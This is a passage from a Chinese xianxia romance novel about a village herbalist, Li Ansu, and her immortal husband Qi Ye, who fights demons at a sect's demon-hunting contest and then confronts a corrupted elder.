李安素用力关上门,靠在门板上缓缓坐在地上。她赤红着脸,慌乱间,手好像碰到了什么东西,一低头,一股黑色的东西沾到了她的手指。 李安素一愣,吓得赶紧甩开,但那东西却抬起了头。 “什么东西啊……”李安素犹豫着伸出手去,那东西瞬间就消失在指尖。 不等她反应过来,身后传来拍门的力道,“娘子,娘子你开开门,我回来了。” 李安素怎么可能开门,她赌气坐在地上,把房门锁上,“不开!” 岐晔苦恼地站在外面,被风吹得咳了几声,“好冷啊。” “今天很热!”李安素大声反驳,现在是三伏天! 岐晔:“好了好了,你先听我说好不好?” 他失笑,只是想逗一逗她,顺便让她离开,谁知道自己好像哄不好了。岐晔靠在门板上,苦恼地皱紧眉头,却是笑着的。 “娘子?”李安素闭上眼睛不理会,明明他看不见自己的表情,还是死死压住自己的反应。 刷拉—— 一点沙沙声从身侧传来,李安素一愣,低下头,看见一株叫不出名字的野花支棱起来,缓缓靠近她。 “……看见了吗?”门外传来岐晔的声音。 李安素伸手去抓那朵花,却扑了个空。下一刻,房门被打开,她整个人被抱起来,“你放开我……你那师姐呢,人怎么不见了?” “终于走了,我可不想让她留下来吃饭。”岐晔埋首在她胸前,声音闷闷地传来:“你怎么就生气了,什么都没弄明白呢。” 李安素扭头:“我怎么就没明白了?” 岐晔瞥见她闪着泪花的眼睛,他怔了怔,“怎么就哭了……”他语气难得带了点慌乱,生疏地去擦。 李安素很少哭,岐晔对于擦眼泪这件事更不熟练。 “王婶说得对,男人修仙什么的,就是抛妻弃子的借口……” 岐晔笑不可抑,连肩胛骨都在颤抖,被李安素用力打了一下,他反手抓住她的手。 “你什么意思——”李安素一愣,手指被岐晔一一吻过。 她的指尖有中药的微苦和经春草的香味,岐晔痴迷不已,甚至想要把她的手指吃进去,却被躲开了。 “我们私奔吧。”岐晔抬头,“你不是想要离开这里吗,我带你走。” 李安素还没消气,低下头:“哪儿有钱。” 他们还没有攒下多少钱呢。 岐晔笑了下,现在归元宗内部已经不适合再接触了,一直待在这里他担心魔气对李安素有害,“那怎么办,我也没有钱。” 李安素扭过头,“走就走,每天听见那群人说你闲话我也烦得不行。” 又过了几天,李安素听见了村头的人谈话,归元宗要举办五年一度的狩魔大会了。 所谓狩魔大会就是归元宗的老传统,规则也多年不变,在划定范围内,狩猎魔物最多的为获胜者,拥有直接拜师的机会。 明日是赶集,按照惯例岐晔是要停下自己的事情和她一起去镇上的,她低头整理着药材,数着没几颗的人参。 可脑海里始终环绕着狩魔大会的事情,岐晔说要离开这里,可她能去哪里?他会骗她吗? “吱呀——”院门骤然被推开,颀长身影走进来,岐晔一眼就看见蹲在地上的人。 “已经回来了?我去山上找了你一圈,还以为你没回来呢……怎么了?”岐晔顿了顿,语气平常,“今天怎么看起来兴致不高?” “没事啊,就是今天太累了。”李安素低着头。 忽然,岐晔蹲在了她面前,他比她高,蹲下来也高出一截。他两只手捧住李安素。 “怎么……了?”李安素一愣,手指轻轻拂过她的脸侧,传来男人的声音。 “都弄到脸上了。”岐晔收回手,手指上沾了一点泥土,他把她拉起来,“累了就去坐着,我来收拾。” 李安素坐在院子里,一时间陷入安静,没有人先开口,最终是岐晔说:“我明日有些事情,就不回来了。” “可是明日是赶集。”李安素硬着嗓子说,“从来没有缺席过。” 岐晔默了默,话到嘴边却拐了个弯,“明日学堂里有小测……” “你已经从学堂辞职了。”李安素戳穿他,“你是要去狩魔大会吧,也对,狩魔大会比我的赶集重要多了,你现在和以前不一样了,教书和修炼比不得。” 李安素站起来,一字一句都像是刀子,不把岐晔划出道伤口就不罢休,他也没有反驳。 他只低着头,把所有药材都仔细清洗一遍,冰凉的井水将他的手泡得通红,换做以往李安素早就心疼得扑上来了。 苦肉计是岐晔最喜欢用的招数,百试不爽,但李安素这笨脑袋估计永远都看不出。 “哗啦——”椅子被拉开,李安素转身就往房中走,随后用力关上了房门。 岐晔身影一滞,洗药材的动作敷衍了许多,抬手捏了个清洗咒。直到把明日要赶集用的东西全都收拾起来,才只身推开房门。 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直到即将上马车的瞬间,岐晔递给她小挎包,自己退到了车外,目送她离开。 李安素这才意识到岐晔不陪她一起,她收回不舍的手,怒火后知后觉涌上来,她狠狠剜了一眼站在外面的男人。 明明是夫妻俩的事业,他就这么心安理得让她一个人去! 李安素低着头,一句话也不说,瞥了眼身边的包裹。 洗干净的药材已经烘干了、该磨成粉的磨成粉、该打包的打包,货物包裹之外,还有一个小纸袋,放了她要吃的早饭。 李安素心里泛起一阵怪异的心软,可面子不让她原谅他。 看着李安素离开,确定她已经一个晚上、一个早上没有和自己说一句话,岐晔无奈地笑了下,只能等他回来再哄了。 岐晔招来天阳一字伞,眨眼间就上了青荇山顶。 那些弟子看见是他,纷纷迎上来,只有一人不一样,岐晔一眼就注意到了。 “三师兄,你怎么看起来脸色不太好?”岐晔看过去。 那个弟子一抖,铁青的脸上嵌着两个惨白的眼珠,讷讷回道:“不太舒服,没事。” 岐晔是这一次狩魔大会优胜的佼佼者,因此,不少人都在下注,岐晔仿若未闻。只是他一转眼就和某个人对上了视线。 那人只是匆匆一眼,就立刻站起来,挥着手冲过来:“大兄弟!” 周正不敢置信能在这里遇上熟人,他立刻站起来,“岐大哥!你忘了我了,我是周正啊!” 周正没穿归元宗弟子的服饰,只穿着一件潦草的便装,一抬手,胳膊底下的布料就晃动起来,他羡慕地打量岐晔的衣服。 “不错啊!三年不见,你都混成归元宗的人了!你这衣服是不是高阶弟子的?”周正羡慕地转着圈看。 “你怎么会在这里?”岐晔疑惑道,“你不是宗内弟子?” 一个归元宗弟子插话进来:“他啊,一个蹭学的,归元宗每届狩魔大会都有外人报名的机会,优秀者能进归元宗。” 周正挠了挠脑袋:“哎呀,这不是看着还有机会,我就来试试。” 岐晔不动声色地在心里和周正道别。这里的弟子大多已被魔气侵染,都是进了后山修炼禁地的,周正一个和凡人无异的毛头小子,极有可能会死在里面。 21. 杀魔 周正左看右看:“岐大哥,你要是没有伴,和我一道呗?” 另一边的归元宗弟子插话进来:“岐晔,盛师姐叫你。” 岐晔走到远离人群的地方,盛子薇脸色惨白地朝他挥手,随后用力弯腰鞠躬。 “后山禁地,师父说狩魔大会结束让你去。”盛子薇小声说,“你别去。” “多谢你。”岐晔点了点头,又瞥了她一眼,“魔气剔除会比较痛苦,你已经恢复正常了吧?” 盛子薇愣了愣,刚上前一步,男人却已经转身离开,仿佛刚才只是她的错觉。 狩魔大会开始,每位弟子都能展现自己的毕生所学,拼命狩猎魔物。开始还是正常比拼,可到了后面就变了味。 结界里头的魔物渐渐少了,开始有人互相残杀,最先对同门挥剑的是那些进了禁地的弟子。 比如早上那个脸色不好的三师兄,岐晔意料之中看见他挥着剑朝自己扑过来。 直到这人冲到自己面前,岐晔才抬手准备防御,谁知道一道身影扑过来,将他摔出去好远。 “咳咳咳……”岐晔捂着手臂,一眼就看见周正。 “我靠,这人的力气怎么这么大!我也要不行了——”周正气喘吁吁地抵抗,就在要扛不住的时候,身上的压力卸了个干净。 岐晔冷冷低头,剑锋插进三师兄的肩膀,他轻轻一挑,一缕纤长的魔气从他身体里被甩出来。 周正惊讶得一句话都说不出来,被吓得瘫坐在地上,“这这这……这是什么啊!” “魔。”岐晔淡淡说,“你还能站起来吗?” 周正动了动,哭丧着脸:“不能。” 岐晔用剑斩碎了魔,他带了点神力,这魔消失得无影无踪。他偏头看了眼周正,“那我就先离开了。” “……等、等等!我能走!”周正用力跑过去,“大哥,我就知道你是好人,不会丢下我的……” 周正也不知道为何,面对岐晔总是有些打怵,这个男人在自己娘子面前和外人面前简直是天差地别,根本不是什么好说话的人。 “你为什么想进归元宗?”岐晔边走边问,结界里已经没多少人了,这里已经变成了一场弱肉强食的杀戮游戏。 周正不好意思地笑了下:“我爹娘都是被魔吃掉的,我想要学点本事,以后杀魔。” 路边都是血,周正有些遭不住,腿都在打颤。忽然,天上雷声轰隆隆,他吓了一跳。 “怎么回事,狩魔大会不是看了天色吗?怎么还打雷下雨啊?”周正此刻非常后悔来这里。 岐晔简短回答:“结界破了,现在已经是外面了。” 周正好半晌才反应过来,“那岂不是这里联通了外面,外面也能进来这里咯?那我们还是快些离开吧……” 岐晔的身影骤然僵硬,他狠狠拧眉,忽然想起来镇上就在不远处。魔也有可能跑到镇上去。 “快走。”岐晔回头,“我要去镇上。” 周正一愣:“哎?可是我们还在参加比赛呢……” “走。”岐晔抿唇,提着剑站在雨中,“我娘子还在镇上。” “啊?哦哦……”周正跟上去,两个人顺着山脉走。 刚走到半山腰,一阵疾风吹过来,他被掀开好几丈,狠狠摔在地上,痛得闭上眼。 天上哗啦下雨,周正一睁眼,竟然是红色的雨水,他坐起来。 他妈的这哪里是什么红雨,这是血水! “呸呸呸!岐大哥!你没事吧?”周正疼得在地上打滚,赶紧爬过去,就看见一头巨大的魔盘踞在岐晔面前,几乎要将他整个人吞没。 岐晔已经没多少耐心,这些魔被他体内的仙气吸引过来。甚至有不怕死的要吞掉他,源源不断地涌上来,几乎把他淹没,他一只一只有些杀不过来。 魔的力气令人恐怖,岐晔咬牙,又不能在这个凡人面前直接暴露。他呼出一口气,将气凝结在剑上,用力砍过去。 如果说方才岐晔像优雅的仙人,现在就是杀红了眼的杀手,一句话也不愿多说,一双如同鹰眸的眼扫过每一条妄图杀了他的魔。 他恨魔,这些魔的气息仿佛把他带到了多年前厮杀的时候,他手里的剑快得几乎看不见形状,只留一道道银色的流光,将雨滴切成两半。 周正看呆了,却痛得倒在一旁,“大哥小心!后面!” 一条巨大的魔盘踞在他身后,魔蛇的尾巴也几乎要缠上岐晔。 眼前闪过一道鹅黄色的身影,他几乎要以为自己看错了。 岐晔忽然被推到一边,险些撞在树干上,却也刚好避开了身后的魔兽。 李安素推开岐晔,只身站在那条魔蛇的面前,长发披散,被猎猎狂风吹向身后。 “李安素!”岐晔第一次叫出李安素的全名,他语气几乎是咬牙切齿。 魔蛇歪了歪头,盯着地上的人,不知为何动作慢了半拍,给了李安素喘息时间。 下一刻,那魔蛇消失在眼前,岐晔站在远处,连剑都没有抬起来,生生用修为撕了那条魔蛇。 岐晔霎时间就站到了她面前,语气急迫:“你知不知道刚才有多危险!你在干什么!” 李安素委屈地盯着他,早上他给她绑的头发也乱了,脸上也脏了,衣服也像一团破抹布。 “我担心你……”李安素声音减弱。 她原本也想要认真摆摊,谁知道一直听周围人说今日狩魔大会有多恐怖,越听越不是滋味。直到开始打雷下雨,周围有人被魔袭击,当场暴毙。 她丢下所有东西,和逃命的众人背道而驰,用了不知道哪里来的力气上山。 岐晔叹了口气,抓着她的手:“蠢货。” 周正挠了挠头,插话进来:“那个……大哥,那边还有呢,我们不打的话就快走吧。” 他尴尬地向李安素打了声招呼,开始他都没敢提起娘子,以为岐晔和那些道人一样抛妻弃子了,谁知道两人还在一起。 李安素在身边,岐晔稍微平静了一点,不过也更危险,因为他身边永远都是魔的目标。 周正擦了擦脸,咬了咬牙:“好,我也来帮你!” 周正反手从兜里掏出来一个湿哒哒的符咒,嘴里默念了什么,那符咒散发出光芒,向着一头魔飞去。 “啊!丑怪物,看小爷不把 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岐晔确定那不是她的血后笑了下,看着已经气喘吁吁的女孩,还逞强说自己能跑。他凑过去吻了吻她的唇,“闭上眼睛。” 李安素听话闭上眼睛,被岐晔一把搂进怀中。他胸腔里的心脏咚咚响着,雨水渐弱,天边溢出一道彩虹。 脚一软,她贴在了地面上,立刻抬头,看见的就是归元宗大门。 岐晔松开她,同时看向周正,“你能杀魔?” 周正:“……能、能!” 岐晔扫了眼,把一字伞塞到李安素手里,“待在这里,我一会儿来找你,好不好?” 李安素很想说不好,她抓紧岐晔的衣袖,“为什么还要去?我们保了一条命,赶紧走不好吗?” 岐晔抿唇,如果可以他不想管这里任何人。 “乖,拿好了。”岐晔淡声说,“坐在这里。” 周正看他给了李安素一把伞,探头过来:“不是,给一把伞是干嘛啊?这伞又不能防身。” 李安素也点头:“是啊。” 岐晔:“……下雨,打伞。”他撑开伞,递到李安素手里。 说完,岐晔转身就往山上走去,徒留李安素抱着一把伞站在原地,她痴痴望着岐晔的背影,越看越觉得陌生。 岐晔幻化出一字伞的灵体,顺着山脉往上飞去,不过一眨眼就站在了禁地前。他眯了眯眼,往里面走。 之所以一直和山上的人周旋,很大一部分原因是他太熟悉这魔气了。岐晔抿唇,越往里走越觉得这股气息令人恶心。 崇寿长老就站在水池中间,看见他就这么走进来,还有些诧异,“岐……不对,你不是岐晔,你是谁?” 崇寿愣了愣,看着这人的长相,和岐晔一般无二,可周身的气息,这明明是一个仙人。 岐晔收敛着神力,闭了闭眼睛,抬手一掌打在崇寿胸口,后者摔在地上。 崇寿瞬间像是被人抽走了灵魂,愣愣倒在地上,身上的魔气冲出来,缓缓幻化成另一道身影。 从迷雾中走出另一个男人的影子。